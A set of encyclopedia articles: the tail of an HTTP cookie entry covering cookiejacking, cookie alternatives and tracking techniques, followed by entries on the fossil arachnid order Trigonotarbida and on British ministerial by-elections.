Cookiejacking is an attack against Internet Explorer which allows the attacker to steal session cookies of a user by tricking a user into dragging an object across the screen. Microsoft deemed the flaw low-risk because of "the level of required user interaction", and the necessity of having a user already logged into the website whose cookie is stolen. Despite this, a researcher tried the attack on 150 of their Facebook friends and obtained cookies of 80 of them via social engineering.
Drawbacks of cookies
Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the Representational State Transfer (REST) software architectural style.
Inaccurate identification
If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence, cookies do not identify a person, but a combination of a user account, a computer, and a web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.
Likewise, cookies do not differentiate between multiple users who share the same user account, computer, and browser.
Alternatives to cookies
Some of the operations that can be done using cookies can also be done using other mechanisms.
Authentication and session management
JSON Web Tokens
A JSON Web Token (JWT) is a self-contained packet of information that can be used to store user identity and authenticity information. This allows them to be used in place of session cookies. Unlike cookies, which are automatically attached to each HTTP request by the browser, JWTs must be explicitly attached to each HTTP request by the web application.
HTTP authentication
The HTTP protocol includes the basic access authentication and the digest access authentication protocols, which allow access to a web page only when the user has provided the correct username and password. If the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent page request. This information can be used to track the user.
URL (query string)
The query string part of the URL is the part that is typically used for this purpose, but other parts can be used as well. The Java Servlet and PHP session mechanisms both use this method if cookies are not enabled.
This method consists of the web server appending query strings containing a unique session identifier to all the links inside of a web page. When the user follows a link, the browser sends the query string to the server, allowing the server to identify the user and maintain state.
These kinds of query strings are very similar to cookies in that both contain arbitrary pieces of information chosen by the server and both are sent back to the server on every request. However, there are some differences. Since a query string is part of a URL, if that URL is later reused, the same attached piece of information will be sent to the server, which could lead to confusion. For example, if the preferences of a user are encoded in the query string of a URL and the user sends this URL to another user by e-mail, those preferences will be used for that other user as well.
Moreover, if the same user accesses the same page multiple times from different sources, there is no guarantee that the same query string will be used each time. For example, if a user visits a page by coming from a page internal to the site the first time, and then visits the same page by coming from an external search engine the second time, the query strings would likely be different. If cookies were used in this situation, the cookies would be the same.
Other drawbacks of query strings are related to security. Storing data that identifies a session in a query string enables session fixation attacks, referer logging attacks and other security exploits. Transferring session identifiers as HTTP cookies is more secure.
Hidden form fields
Another form of session tracking is to use web forms with hidden fields. This technique is very similar to using URL query strings to hold the information and has many of the same advantages and drawbacks. In fact, if the form is handled with the HTTP GET method, then this technique is similar to using URL query strings, since the GET method adds the form fields to the URL as a query string. But most forms are handled with HTTP POST, which causes the form information, including the hidden fields, to be sent in the HTTP request body, which is neither part of the URL, nor of a cookie.
This approach presents two advantages from the point of view of the tracker. First, having the tracking information placed in the HTTP request body rather than in the URL means it will not be noticed by the average user. Second, the session information is not copied when the user copies the URL (to bookmark the page or send it via email, for example).
window.name DOM property
All current web browsers can store a fairly large amount of data (2–32 MB) via JavaScript using the DOM property window.name. This data can be used instead of session cookies. The technique can be coupled with JSON/JavaScript objects to store complex sets of session variables on the client side.
The downside is that every separate window or tab will initially have an empty window.name property when opened.
In some respects, this can be more secure than cookies due to the fact that its contents are not automatically sent to the server on every request like cookies are, so it is not vulnerable to network cookie sniffing attacks.
Tracking
IP address
Some users may be tracked based on the IP address of the computer requesting the page. The server knows the IP address of the computer running the browser (or the proxy, if any is used) and could theoretically link a user's session to this IP address.
However, IP addresses are generally not a reliable way to track a session or identify a user. Many computers designed to be used by a single user, such as office PCs or home PCs, are behind a network address translator (NAT). This means that several PCs will share a public IP address. Furthermore, some systems, such as Tor, are designed to retain Internet anonymity, rendering tracking by IP address impractical, impossible, or a security risk.
ETag
Because ETags are cached by the browser, and returned with subsequent requests for the same resource, a tracking server can simply repeat any ETag received from the browser to ensure an assigned ETag persists indefinitely (in a similar way to persistent cookies). Additional caching header fields can also enhance the preservation of ETag data.
ETags can be flushed in some browsers by clearing the browser cache.
Browser cache
The browser cache can also be used to store information that can be used to track individual users. This technique takes advantage of the fact that the web browser will use resources stored within the cache instead of downloading them from the website when it determines that the cache already has the most up-to-date version of the resource.
For example, a website could serve a JavaScript file with code that sets a unique identifier for the user (for example, var userId = 3243242;). After the user's initial visit, every time the user accesses the page, this file will be loaded from the cache instead of downloaded from the server. Thus, its content will never change.
Browser fingerprint
A browser fingerprint is information collected about a browser's configuration, such as version number, screen resolution, and operating system, for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off.
Basic web browser configuration information has long been collected by web analytics services in an effort to accurately measure real human web traffic and discount various forms of click fraud. With the assistance of client-side scripting languages, collection of much more esoteric parameters is possible. Assimilation of such information into a single string constitutes a device fingerprint. In 2010, EFF measured at least 18.1 bits of entropy possible from browser fingerprinting. Canvas fingerprinting, a more recent technique, claims to add another 5.7 bits.
Web storage
Some web browsers support persistence mechanisms which allow the page to store the information locally for later use.
The HTML5 standard (which most modern web browsers support to some extent) includes a JavaScript API called Web storage that allows two types of storage: local storage and session storage. Local storage behaves similarly to persistent cookies while session storage behaves similarly to session cookies, except that session storage is tied to an individual tab/window's lifetime (AKA a page session), not to a whole browser session like session cookies.
Internet Explorer supports persistent information in the browser's history, in the browser's favorites, in an XML store ("user data"), or directly within a web page saved to disk.
Some web browser plugins include persistence mechanisms as well. For example, Adobe Flash has Local shared object and Microsoft Silverlight has Isolated storage.
See also
Session (computer science)
Secure cookie
HTTP Strict Transport Security § Privacy issues
References
Sources
Anonymous, 2011. Cookiejacking Attack Steals Website Access Credentials. Informationweek - Online, pp. Informationweek - Online, May 26, 2011.
External links
, the current official specification for HTTP cookies
HTTP cookies, Mozilla Developer Network
Using cookies via ECMAScript, Mozilla Developer Network
Cookies at the Electronic Privacy Information Center (EPIC)
Mozilla Knowledge-Base: Cookies
Cookie Domain, explain in detail how cookie domains are handled in current major browsers
Cookie Stealing - Michael Pound
Check cookies for compliance with EU cookie directive
Computer access control
Cookie
Internet privacy
Web security exploits
Wikipedia articles with ASCII art
Hacking (computer security)
Tracking
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https://en.wikipedia.org/wiki/Trigonotarbida
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Trigonotarbida
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The order Trigonotarbida is a group of extinct arachnids whose fossil record extends from the late Silurian to the early Permian (Pridoli to Sakmarian). These animals are known from several localities in Europe and North America, as well as a single record from Argentina. Trigonotarbids can be envisaged as spider-like arachnids, but without silk-producing spinnerets. They ranged in size from a few millimetres to a few centimetres in body length and had segmented abdomens (opisthosoma), with the dorsal exoskeleton (tergites) across the backs of the animals' abdomens, which were characteristically divided into three or five separate plates. Probably living as predators on other arthropods, some later trigonotarbid species were quite heavily armoured and protected themselves with spines and tubercles. About seventy species are currently known, with most fossils originating from the Carboniferous coal measures.
Historical background
The first trigonotarbid was described in 1837 from the coal measures of Coalbrookdale in England by the famous English geologist Dean William Buckland. He believed it to be a fossil beetle and named it Curculoides prestvicii. A much better preserved example was later discovered from Coseley near Dudley; also in the English West Midlands conurbation. Described in 1871 by Henry Woodward, he correctly identified it as an arachnid and renamed it Eophrynus prestvicii—whereby the genus name comes from (, meaning 'dawn'), and Phrynus, a genus of living whip spider (Amblypygi). Woodward subsequently described another trigonotarbid, Brachypyge carbonis, from the coal measures of Mons in Belgium; although this fossil is known only from its abdomen and was initially mistaken for those of a crab.
A new arachnid order
In 1882, the German zoologist Ferdinand Karsch described a number of fossil arachnids from the coal measures of Neurode in Silesia (now Poland), including one he named Anthracomartus voelkelianus in honour of Herr Völkel, the foreman of the mine where it was discovered. This species was raised to a new, extinct, arachnid order which Karsch called Anthracomarti. The name is derived from (), the Greek word for coal. A number of other fossils which would eventually be placed in Trigonotarbida were discovered around this time. Hanns Bruno Geinitz described Kreischeria wiedei from the coal measures of Zwickau in Germany, although he interpreted it as a fossil pseudoscorpion. Johann Kušta described Anthracomartus krejcii from Rakovník in the Czech Republic, and published further descriptions in a number of subsequent papers. In 1884, Samuel Hubbard Scudder described Anthracomartus trilobitus from Fayetteville, Arkansas—the first trigonotarbid from North America.
Relationships
Early studies tended to confuse trigonotarbids with other living or extinct groups of arachnids; particularly harvestmen (Opiliones). Petrunkevitch's division of the trigonotarbids into two, unrelated, orders was noted above. In detail, he divided the arachnids into suborders based on the width of the division between the two parts of the body (the prosoma and opisthosoma). Anthracomartida and another extinct order, Haptopoda, were grouped into a subclass Stethostomata defined by a broad division of the body and downward-hanging mouthparts. Trigonotarbida was placed in its own subclass Soluta and defined as having a division of the body which was variable in width. Petrunkevitch's scheme was largely followed in subsequent studies of fossil arachnids.
Pantetrapulmonata
In the 1980s, Bill Shear and colleagues carried out an important study on well preserved Mid Devonian trigonotarbids from Gilboa, New York. They questioned whether it was appropriate to define a group of animals on a variable character state and carried out the first cladistic analysis of fossil and living arachnids. They showed that trigonotarbids are closely related to a group of arachnids which have gone under various names (Caulogastra, Arachnidea, etc.), but for which the name Tetrapulmonata has become most widespread. Members of the Tetrapulmonata include spiders (Araneae), whip spiders (Amblypygi), whip scorpions (Uropygi) and shorttailed whipscorpion (Schizomida) and, together with trigonotarbids, share characters like two pairs of book lungs and similar mouthparts with fangs operating rather like a pocket knife. In a 2007 study of arachnid relationships, the Shear et al. hypothesis was largely supported and a group Pantetrapulmonata was proposed which comprises Trigonotarbida + Tetrapulmonata. This has since been corroborated in more recent cladistic analyses.
Trigonotarbids and ricinuleids
In 1892, Ferdinand Karsch suggested that the rare and rather bizarre-looking ricinuleids (Ricinulei) were the last living descendants of the trigonotarbids. A similar hypothesis was reintroduced by Dunlop, who pointed out distinct similarities and possible sister group relationship between these arachnid groups. Both have opisthosomal tergites divided into median and lateral plates and both have a complicated coupling mechanism between the prosoma and the opisthosoma which 'locks' the two halves of the body together. Although cladistic analysis has tended to recover ricinuleids in their traditional position closely related to mites and ticks, further discoveries have revealed that the tip of the pedipalp ends in a small claw in both trigonotarbids and ricinuleids. If the hypothesis is true, ricinuleids, despite the lack of tetrapulmonate key characters (e.g. book lungs), may represent part of the pantetrapulmonate clade alongside trigonotarbids as well.
Internal relationships
The first cladistic analysis of the trigonotarbids was published in 2014. This recovered the families Anthracomartidae, Anthracosironidae, and Eophrynidae as monophyletic. In contrast Trigonotarbidae, Aphantomartidae, Palaeocharinidae, and Kreischeriidae were not. Two clades were consistently recovered with strong support—(Palaeocharinus (Archaeomartidae + Anthracomartidae)), and Lissomartus as sister group the 'eophrynid assemblage' (Aphantomartus (Alkenia (Pseudokreischeria (Kreischeria (Eophrynus + Pleophrynus))))).
Description
Trigonotarbids superficially resemble spiders, but can be easily recognised by having tergites on the dorsal side of the opisthosoma divided into median and lateral plates. This character is shared with ricinuleids (Ricinulei) (see also Ricinulei#Relationships). As in other arachnids, the body is divided into a prosoma (or cephalothorax) and opisthosoma (or abdomen). Body length ranges from a couple of millimetres up to about .
Prosoma
The prosoma is covered by the carapace and always bears a pair of median eyes. In the probably basal families Palaeocharinidae, Anthracomartidae—and perhaps also Anthracosironidae—there is an additional pair of lateral eye tubercles which, at least in palaeocharinids, appear to have borne a series of individual lenses. In this sense palaeocharinids seem to be in the process of reducing a compound eye. Anterior margin of the carapace protrude into a projection referred to as clypeus.
The chelicerae are of the "pocket-knife" type consisting of a basal segment and a sharp, curving fang. The chelicerae are described as paleognathic: the fangs are held parallel to one another, like those of mesothele and mygalomorph spiders, but the chelicerae hang downwards like those of araneomorph spiders. There is no evidence in well-preserved fossils for the opening of a venom gland, thus trigonotarbids were probably not venomous. The chelicerae may have been slightly retractable into the prosoma. Well-preserved palaeocharinids show evidence for a small, slit-like mouth with an upper lip (a labrum or rostrum) and a lower lip (or labium). Inside the mouth there is some sort of filtering system formed from hairs or platelets which strongly suggests that trigonotarbids (like spiders and many other arachnids) could eat only preorally digested, liquified prey.
The pedipalps have the typical arachnid structure with a coxa, trochanter, femur, patella, tibia and tarsus. They are pediform, i.e. they look like small legs and were not highly modified. There is no evidence for a special sperm transfer device as in the modified palpal organ of male spiders. In at least the palaeocharinids and anthracomartids the tip of the pedipalp is modified into a small chela (claw) formed from the tarsal claw (or apotele) and a projection from the tarsus. As mentioned above, a very similar arrangement is seen at the end of the pedipalp in Ricinulei.
The walking legs again follow the typical arachnid plan with a coxa, trochanter, femur, patella, tibia, metatarsus and tarsus. The coxae surround a single sternum. In well preserved palaeocharinids there is a ring, or annulus, around the trochanter–femur joint which may be the remains of an earlier leg segment. The legs are largely unmodified, although in Anthracosironidae the forelegs are quite large and spiny, presumably to help catch prey. The legs end in three claws, two large ones and a smaller median claw.
Opisthosoma
The opisthosoma is largely suboval in outline with a flatten dorsal surface. It compose of 12 segments, with some of them had undergone degrees of fusion or reduction, hence the previous misinterpretation of around 8 to 11 segments. Tergite of the first segment partially covered by the posterior margin of preceding carapace, forming a complicated coupling mechanism known as 'locking ridge'. Tergites of segment 2 to 8 (segment 9 in some species) were all laterally divided into 3 (one median and two lateral) plates, with those of segment 2 and 3 fused to each other in most species. However, the corresponding tergites of the family Anthracomartidae are further subdivided into 5 plates. The last 3 segments are usually only visible from the ventral side, with the 2 final segments constricted into a tiny ring-like section known as pygidium.
Ventral side of opisthosomal segment 2 to 9 covered by series of lung-bearing opercula (2 and 3) and curved sternites (4 to 9). The first segment apparently lacking any ventral plates. Just like other lung-bearing arachnids (scorpion and tetrapulmonate), the book lungs of trigonotarbids formed by layers of trabecula-bearing lamellae, which is a feature adapted to a terrestrial, air-breathing lifestyle. A pair of ventral sacs located between the posterior operculum and following sternite had been observed in some species.
Paleobiology
In July 2014 scientists used computer-based techniques to re-create a possible walking gait for the animal. A subsequent review article suggested by comparison with mites, with presumably similar lifestyle and environment, a metachronal rather than alternating leg coordination was more likely. Subsequent work by the researchers behind the initial publication used simulation approaches to assess the efficiency of a range of gaits using an updated trigonotarbid model.
Included taxa
As of 2020, 70 valid species had been included under Trigonotarbida as follows:
plesion taxa
Palaeotarbus Dunlop, 1999
Palaeotarbus jerami (Dunlop, 1996) – Late Silurian, England
Palaeocharinidae Hirst, 1923
Aculeatarbus Shear, Selden & Rolfe, 1987
Aculeatarbus depressus Shear, Selden & Rolfe, 1987 – Mid Devonian, United States
Gelasinotarbus Shear, Selden & Rolfe, 1987
Gelasinotarbus bifidus Shear, Selden & Rolfe, 1987 – Mid Devonian, United States
Gelasinotarbus bonamoae Shear, Selden & Rolfe, 1987 – Mid Devonian, United States
Gelasinotarbus heptops Shear, Selden & Rolfe, 1987 – Mid Devonian, United States
Gelasinotarbus reticulatus Shear, Selden & Rolfe, 1987 – Mid Devonian, United States
Gigantocharinus Shear, 2000
Gigantocharinus szatmaryi Shear, 2000 – Late Devonian, United States
Gilboarachne Shear, Selden & Rolfe, 1987
Gilboarachne griersoni Shear, Selden & Rolfe, 1987 – Mid Devonian, United States
Palaeocharinus Hirst, 1923
Palaeocharinus calmani Hirst, 1923 – Early Devonian, Scotland
Palaeocharinus hornei Hirst, 1923 – Early Devonian, Scotland
Palaeocharinus kidstoni Hirst, 1923 – Early Devonian, Scotland
Palaeocharinus rhyniensis Hirst, 1923 – Early Devonian, Scotland
Palaeocharinus scourfieldi Hirst, 1923 – Early Devonian, Scotland
Palaeocharinus tuberculatus Fayers, Dunlop & Trewin, 2005 – Early Devonian, Scotland
Spinocharinus Poschmann & Dunlop, 2011
Spinocharinus steinmeyeri Poschman & Dunlop, 2011 - Devonian, Bürdenbach
Archaeomartidae Haase, 1890
Archaeomartus Størmer, 1970
Archaeomartus levis Størmer, 1970 - Devonian, Alken an der Mosel
Anthracomartidae Haase, 1890
synonyms
= Promygalidae Frič, 1904
= Brachypygidae Pocock, 1911
= Coryphomartidae Petrunkevitch, 1945
= Pleomartidae Petrunkevitch, 1945
Anthracomartus Karsch, 1882
synonyms
= Brachylycosa Frič, 1904
= Cleptomartus Petrunkevitch, 1949
= Coryphomartus Petrunkevitch, 1945
= Cryptomartus Petrunkevitch, 1945
= Oomartus Petrunkevitch, 1953
= Perneria Frič, 1904
= Pleomartus Petrunkevitch, 1945
= Promygale Frič, 1901
Anthracomartus bohemica (Frič, 1901) – Late Carboniferous, Czech Republic
Anthracomartus carcinoides (Frič, 1901) – Late Carboniferous, Czech Republic
synonyms
= Promygale rotunda Frič, 1901
= Perneria salticoides Frič, 1904
Anthracomartus elegans Frič, 1901 – Late Carboniferous, Czech Republic
Anthracomartus hindi Pocock, 1911 – Late Carboniferous, England
synonyms
= Cleptomartus hangardi Guthörl, 1965
= Cryptomartus meyeri Guthörl, 1964
= Cleptomartus planus Petrunkevitch, 1949
= Cryptomartus rebskei Brauckmann, 1984
Anthracomartus granulatus Frič, 1904 – Late Carboniferous, Poland
Anthracomartus janae (Opluštil, 1986) – Late Carboniferous, Czech Republic
Anthracomartus kustae Petrunkevitch, 1953 – Late Carboniferous, Czech Republic
Anthracomartus minor Kušta, 1884 – Late Carboniferous, Czech Republic
synonym
= Anthracomartus socius Kušta, 1888
Anthracomartus nyranensis (Petrunkevitch, 1953) – Late Carboniferous, Czech Republic
Anthracomartus palatinus Ammon, 1901 – Late Carboniferous, Germany
Anthracomartus priesti Pocock, 1911 – Late Carboniferous, England
synonyms
= Anthracomartus denuiti Pruvost, 1922
= Cleptomartus plautus Petrunkevitch, 1949
Anthracomartus radvanicensis (Opluštil, 1985) – Late Carboniferous, Czech Republic
Anthracomartus triangularis Petrunkevitch, 1913 – Late Carboniferous, Canada
Anthracomartus trilobitus Scudder, 1884 – Late Carboniferous, United States
Anthracomartus voelkelianus Karsch, 1882 – Late Carboniferous, Poland
Brachypyge Woodward, 1878
Brachypyge carbonis Woodward, 1878 – Late Carboniferous, Belgium
Maiocercus Pocock, 1911
Maiocercus celticus (Pocock, 1902) – Late Carboniferous, Europe
synonym
= Maiocercus orbicularis Gill, 1911
Anthracosironidae Pocock, 1903
Anthracosiro Pocock, 1903
Anthracosiro fritschii Pocock, 1903 – Late Carboniferous, Europe
synonym
= Anthracosiro elongatus Waterlot, 1934
Anthracosiro woodwardi Pocock, 1903 – Late Carboniferous, Europe
synonyms
= Anthracosiro corsini Pruvost, 1926
= Anthracosiro latipes Gill, 1909
Arianrhoda Dunlop & Selden, 2004
Arianrhoda bennetti Dunlop & Selden, 2004 – Early Devonian, Wales
Vratislavia Frič, 1904
Vratislavia silesica (Roemer, 1878) - Carboniferous, Silesia
Trigonotarbidae Petrunkevitch, 1949
Trigonotarbus Pocock, 1911
Trigonotarbus arnoldi Petrunkevitch, 1955 – Late Carboniferous, France
Trigonotarbus johnsoni Pocock, 1911 – Late Carboniferous, England
Trigonotarbus stoermeri Schultka, 1991 – Early Devonian, Germany
Lissomartidae Dunlop, 1995
Lissomartus Petrunkevitch, 1949
Lissomartus carbonarius (Petrunkevitch, 1913) – Late Carboniferous, United States
Lissomartus schucherti (Petrunkevitch, 1913) – Late Carboniferous, United States
Aphantomartidae Petrunkevitch, 1945
synonym
= Trigonomartidae Petrunkevitch, 1949
Alkenia Størmer, 1970
Alkenia mirabilis Størmer, 1970 - Devonian, Alken an der Mosel
Aphantomartus Pocock, 1911
synonyms
= Trigonomartus Petrunkevitch, 1913
= Phrynomartus Petrunkevitch, 1945a
Aphantomartus areolatus Pocock, 1911 – Early/Late Carboniferous, Europe
synonyms
= Aphantomartus pococki Pruvost, 1912
= Trigonomartus dorlodoti Pruvost, 1930
= Eophrynus waechteri Guthörl, 1938
= ?Trigonomartus pruvosti van der Heide, 1951
= ?Brachylycosa manebachensis Müller, 1957
Aphantomartus ilfeldicus (Scharf, 1924) – Permian, Germany
Aphantomartus pustulatus (Scudder, 1884) – Late Carboniferous, Europe, North America
synonyms
= ?Kreischeria villeti Pruvost, 1912
= Cleptomartus plötzensis Simon, 1971
Kreischeriidae Haase, 1890
Anzinia Petrunkevitch, 1953
Anzinia thevenini (Pruvost, 1919) – Late Carboniferous, France
Gondwanarache Pinto & Hünicken, 1980
Gondwanarache argentinensis Pinto & Hünicken, 1980 – Late Carboniferous, Argentina
Hemikreischeria Frič, 1904
Hemikreischeria geinitzi (Thevenin, 1902) – Late Carboniferous, France
Kreischeria Geinitz, 1882
Kreischeria wiedei Geinitz, 1882 – Late Carboniferous, Germany
Pseudokreischeria Petrunkevitch, 1953
Pseudokreischeria pococki (Gill, 1924) – Late Carboniferous, England
synonym
= Eophrynus varius Petrunkevitch, 1949
Eophrynidae Karsch, 1882
synonym
= Hemiphrynidae Frič, 1904
Eophrynus Woodward, 1871
Eophrynus prestvicii (Buckland, 1837) – Late Carboniferous, England
Eophrynus udus Brauckmann, Koch & Kemper, 1985 – Late Carboniferous, Germany
Nyranytarbus Harvey & Selden, 1995
synonym
Hemiphrynus Frič, 1901
Nyranytarbus hofmanni (Frič, 1901) – Late Carboniferous, Czech Republic
Nyranytarbus longipes (Frič, 1901) – Late Carboniferous, Czech Republic
Petrovicia Frič, 1904
Petrovicia proditoria Frič, 1904 – Late Carboniferous, Czech Republic
Planomartus Petrunkevitch, 1953
Planomartus krejcii (Kušta, 1883) – Late Carboniferous, Czech Republic
synonym
= Anthracomartus affinis Kušta, 1885
Pleophrynus Petrunkevitch, 1945a
Pleophrynus verrucosus (Pocock, 1911) – Late Carboniferous, UK, United States
synonym
= Eophrynus warei Dix & Pringle, 1930
= Pleophrynus ensifer Petrunkevitch, 1945a
= Eophrynus jugatus Ambrose & Romano, 1972
Pocononia Petrunkevitch, 1953
Pocononia whitei (Ewing, 1930) – Early Carboniferous, United States
Somaspidion Jux, 1982
Somaspidion hammapheron Jux, 1982
Stenotrogulus Frič, 1904
synonyms
= Cyclotrogulus Frič, 1904
= Pseudoeophrynus Příbyl, 1958
Stenotrogulus salmii (Stur, 1877) – Late Carboniferous, Czech Republic
synonyms
= Cyclotrogulus sturii Frič, 1904 [non Hasse, 1890]
= Pseudoeophrynus ostraviensis Příbyl, 1958
Family uncertain
Aenigmatarbus Poschmann, Dunlop, Bértoux & Galtier, 2016
Aenigmatarbus rastelli Poschmann, Dunlop, Bértoux & Galtier, 2016 - Carboniferous, Graissessac, France
Namurotarbus Poschmann & Dunlop, 2010
Namurotarbus roessleri (Dunlop & Brauckmann, 2006) - Carboniferous, Hagen-Vorhalle
synonyms
= Archaeomartus roessleri Dunlop & Brauckmann, 2006
Permotarbus Dunlop & Rößler, 2013
Permotarbus schuberti Dunlop & Rößler, 2013 Permian, Chemnitz
Tynecotarbus Hradská & Dunlop, 2013
Tynecotarbus tichaveki Hradská & Dunlop, 2013 - Carboniferous, Týnec
incertae sedis
Anthracophrynus Andrée, 1913
Anthracophrynus tuberculatus Andrée, 1913 – Late Carboniferous, Germany
Areomartus Petrunkevitch, 1913
Areomartus ovatus Petrunkevitch, 1913 - Carboniferous, West Virginia
‘Eophrynus’ scharfi Scharf, 1924 – Early Permian, Germany
Aphantomartus Pocock, 1911
Aphantomartus woodruffi (Scudder, 1893) - Carboniferous, Rhode Island
nomina dubia
Anthracomartus buchi (Goldenberg, 1873) – Late Carboniferous, Germany
Anthracomartus hageni (Goldenberg, 1873) – Late Carboniferous, Germany
Elaverimartus pococki Petrunkevitch, 1953 – Late Carboniferous, Scotland
Eurymartus latus Matthew, 1895 – Late Carboniferous, Canada
?Eurymartus spinulosus Matthew, 1895 – Late Carboniferous, Canada
References
Arachnid orders
Prehistoric arthropod orders
Silurian arachnids
Devonian arachnids
Carboniferous arachnids
Permian arachnids
Devonian arthropods of North America
Carboniferous arthropods of North America
Permian arthropods of North America
Carboniferous arthropods of Europe
Devonian arthropods of Europe
Permian arthropods of Europe
Silurian arthropods of Europe
Silurian first appearances
Cisuralian extinctions
Taxa named by Alexander Petrunkevitch
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5068758
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https://en.wikipedia.org/wiki/Ministerial%20by-election
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Ministerial by-election
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From 1708 to 1926, members of parliament (MPs) of the House of Commons of Great Britain (and later the United Kingdom) automatically vacated their seats when made ministers in government and had to successfully contest a by-election in order to rejoin the House; such were imported into the constitutions of several colonies of the British Empire, where they were likewise all abolished by the mid-20th century. The requirement of MPs to rejoin the House upon ministerial appointment arose from 17th-century ideas of the independence of the House from the influence of the Crown, which appoints the ministers. Unlike in the United States, whose constitution took such ideas to the extreme by fully separating the executive and legislative branches, support for some royal patronage meant that whilst MPs were barred from keeping their seats when made ministers, ministers holding an existing portfolio were not required to surrender their office when elected as an MP. This resulted in a compromise where newly-appointed ministers had to resign from the House, but could keep their office if they won a by-election back into it.
In practice this by-election was usually a formality, uncontested by the opposition, and was gradually reformed starting from the late 19th century; the change of an existing minister's portfolio did not trigger a by-election after 1867, the necessity for by-elections was temporarily suspended during the First World War, and by-elections were no longer needed for ministerial appointments within nine months of a general election after 1919. Ministerial by-elections were criticised as an inconvenience to the government, and were argued to hold back potential executive talent that represented marginal constituencies where a by-election was risky. Nevertheless, supporters of the practice frustrated attempts at its abolition, arguing that it provided a check on the government in an era where general elections were few and far between and allowed a constituency to avoid having its MP appointed to national office without its consent. As parliaments became shorter-lived, the inconvenience of ministerial by-elections to governments became more acute, especially for governments with small majorities and in times where the opposition and special interest groups contested them, and they were abolished in 1926 by a private member's bill.
The Irish Free State, the Union of South Africa, Southern Rhodesia, India, and New Zealand never had ministerial by-elections. In Canada, where such elections had played a role in the King–Byng constitutional crisis of 1926, they were abolished federally in 1931 and in the various provinces between 1926 and 1941; Newfoundland, which would not join Canada until 1949, abolished them in 1928. Australia never had such elections federally, but several states had them prior to the 20th century; Western Australia was the last jurisdiction in the British Empire to maintain such elections, finally abolishing them in 1947.
In many countries with political systems different from the British-derived Westminster system, such as a presidential or dualistic system, executive officers cannot be sitting legislators at the same time. The appointment of a legislator to executive office thus triggers a vacancy in the legislature. If the normal rule for filling these vacancies is holding a by-election, such a country would thus have a form of ministerial by-elections, albeit different from the historical practice in Britain.
Britain
In 1680, the House of Commons of England resolved that accepting an office of profit from the Crown without the House's permission would cause resignation from the House. This was a reaction to the actions of monarchs who attempted to influence the Commons by staffing it with their favourites, or "placemen"; even after the Glorious Revolution of 1688, royal patronage influenced a full 120 members of the House by the time of Queen Anne. The Act of Settlement 1701 included a clause barring those holding office under the Crown from membership of the Commons. This nominally would provide a form of government quite similar to that of the future United States, where members of the executive are barred from also being members of Congress, and indeed that clause of the American constitution was also inspired by concerns of royal patronage in the British parliament.
However, that clause was not scheduled to come into effect until Anne's death, which would not occur until 1714. In the meantime, Whigs desired to maintain a strong executive for the Hanoverian monarchs who would succeed Anne, whereas Tories wished to check the power of royal placemen. Tory desires to maintain the absolute ban on placemen in the House were narrowly defeated during the making of the Regency Act 1705, while a Whig compromise to limit them to 40 was passed but modified in the House of Lords. The Lords replaced the original list of offices that placemen could hold with a negative list of offices that would disqualify one from the Commons; while the Lords wished mainly to add certain prize offices to those already disqualified from the Commons, Tories in the Commons added several other offices, including all created after 25 October 1705. This process led to a "characteristically illogical English compromise" between those supporting the Crown's ability to dispense patronage and those wishing to bolster the Commons' ability to check the Crown: starting from the Regency Act and continuing with the Succession to the Crown Act 1707, those holding certain offices of profit under the Crown, including ministries, were required to vacate their seats in the Commons, but could maintain their offices if they were re-elected. Commissions in the Army or Navy were expressly exempt from either total disqualification or the requirement for by-election. The requirement to stand in a by-election only applied when an elected legislator was first appointed to a portfolio. Ministers already holding portfolios were not required to contest additional by-elections to remain ministers after being returned in a subsequent general election where their party formed government.
A minister typically sought re-election in the same constituency he had just vacated, but could contest another seat which was also vacant. It was not unusual for an MP representing a safe seat for the governing party to vacate his seat so that a minister might run in it. In the 18th century, it was rare for a new minister to be outright defeated in a by-election; between 1715 and 1754, only eight such occurrences happened between 393 by-elections, and only three defeats occurred from the 460 contests held between 1754 and 1790. The most common cause for a failure of re-election in this era was the ineligibility of the new minister to sit in the Commons, particularly by appointment to the Lords. Also more common than defeat was transferral to a new constituency or retirement. This was largely due to a convention against contesting ministerial by-elections, with breaches being noted in the press. In addition, constituencies of under 500 voters, at the time around 60 per cent of all constituencies, saw roughly 80 per cent of ministerial by-elections. This was because MPs from larger constituencies tended to be gentlemen shying away from government work, and because smaller constituencies were cheaper to manage a campaign.
During the first half of the 19th century, regular by-elections were seen as local affairs whereas ministerial by-elections were seen as a test of the government's record. As the century progressed, however, this distinction was lost and all by-elections were seen as the concern of national party apparatuses. Most constituencies in this era returned two MPs; the fact that by-electionsincluding ministerial by-electionsentailed the election of only one candidate and thus did not allow for voters to cross parties as in a general election was such that they were often called "single elections", and this intensified the partisan implications of by-elections. Even without ministerial vacancies, by-elections were so common in this era that few years had fewer than 20 or 30, and several had as many as 65. Ministerial by-elections were, however, 28.3 per cent of all by-elections in the period between 1833 and 1867, and 20.8 per cent between 1868 and 1914, and were the most common cause of by-elections in the middle of the 19th century, slightly leading resignation and the deaths of incumbents.
By the mid-19th century, the solidification of responsible government made any fear of ministers being more loyal to the monarch than to Parliament purely academic. Despite this, ministerial by-elections were still justified as a way to hold a government accountable to the electorate. Contesting ministerial by-elections became more acceptable during this time, although convention remained to refrain from challenging a by-election that immediately followed a general election, instead waiting for the middle of the term when the government's mandate had worn down. In an era where parliaments could last as long as seven years, this was no trivial matter, and governments suffered 12 defeats in 54 contests between 1832 and 1868. Conservatives tended to have an easier time being re-elected than Whigs or their successors the Liberals. The large majority of ministerial by-elections, 86 per cent, were nevertheless uncontested between 1832 and 1886.
Reform and abolition
Governments began to resent these elections for several reasons. Apart from the embarrassment of losing such an election, they were inconvenient and drew new ministers away from their portfolios and Parliament, and into a significant period (sometimes up to a fortnight) of local campaigning. They were also alleged to deter governments from appointing talented executives to the ministry if they represented marginal seats where a by-election could likely be lost, although it is dubious how much this was an issue in practice given the custom of finding safe seats for ministerial candidates. The Reform Act 1867, primarily concerned with expanding the franchise, also included a provision making cabinet reshuffles easier by abolishing the necessity to seek re-election for an existing minister taking a new portfolio. This particular provision was introduced by Benjamin Disraeli, and was agreed to by his rival William Ewart Gladstone and approved without division. The principle of ministerial by-elections was not however under attack, although Disraeli disputed the rationale of holding ministerial appointments publicly accountable.
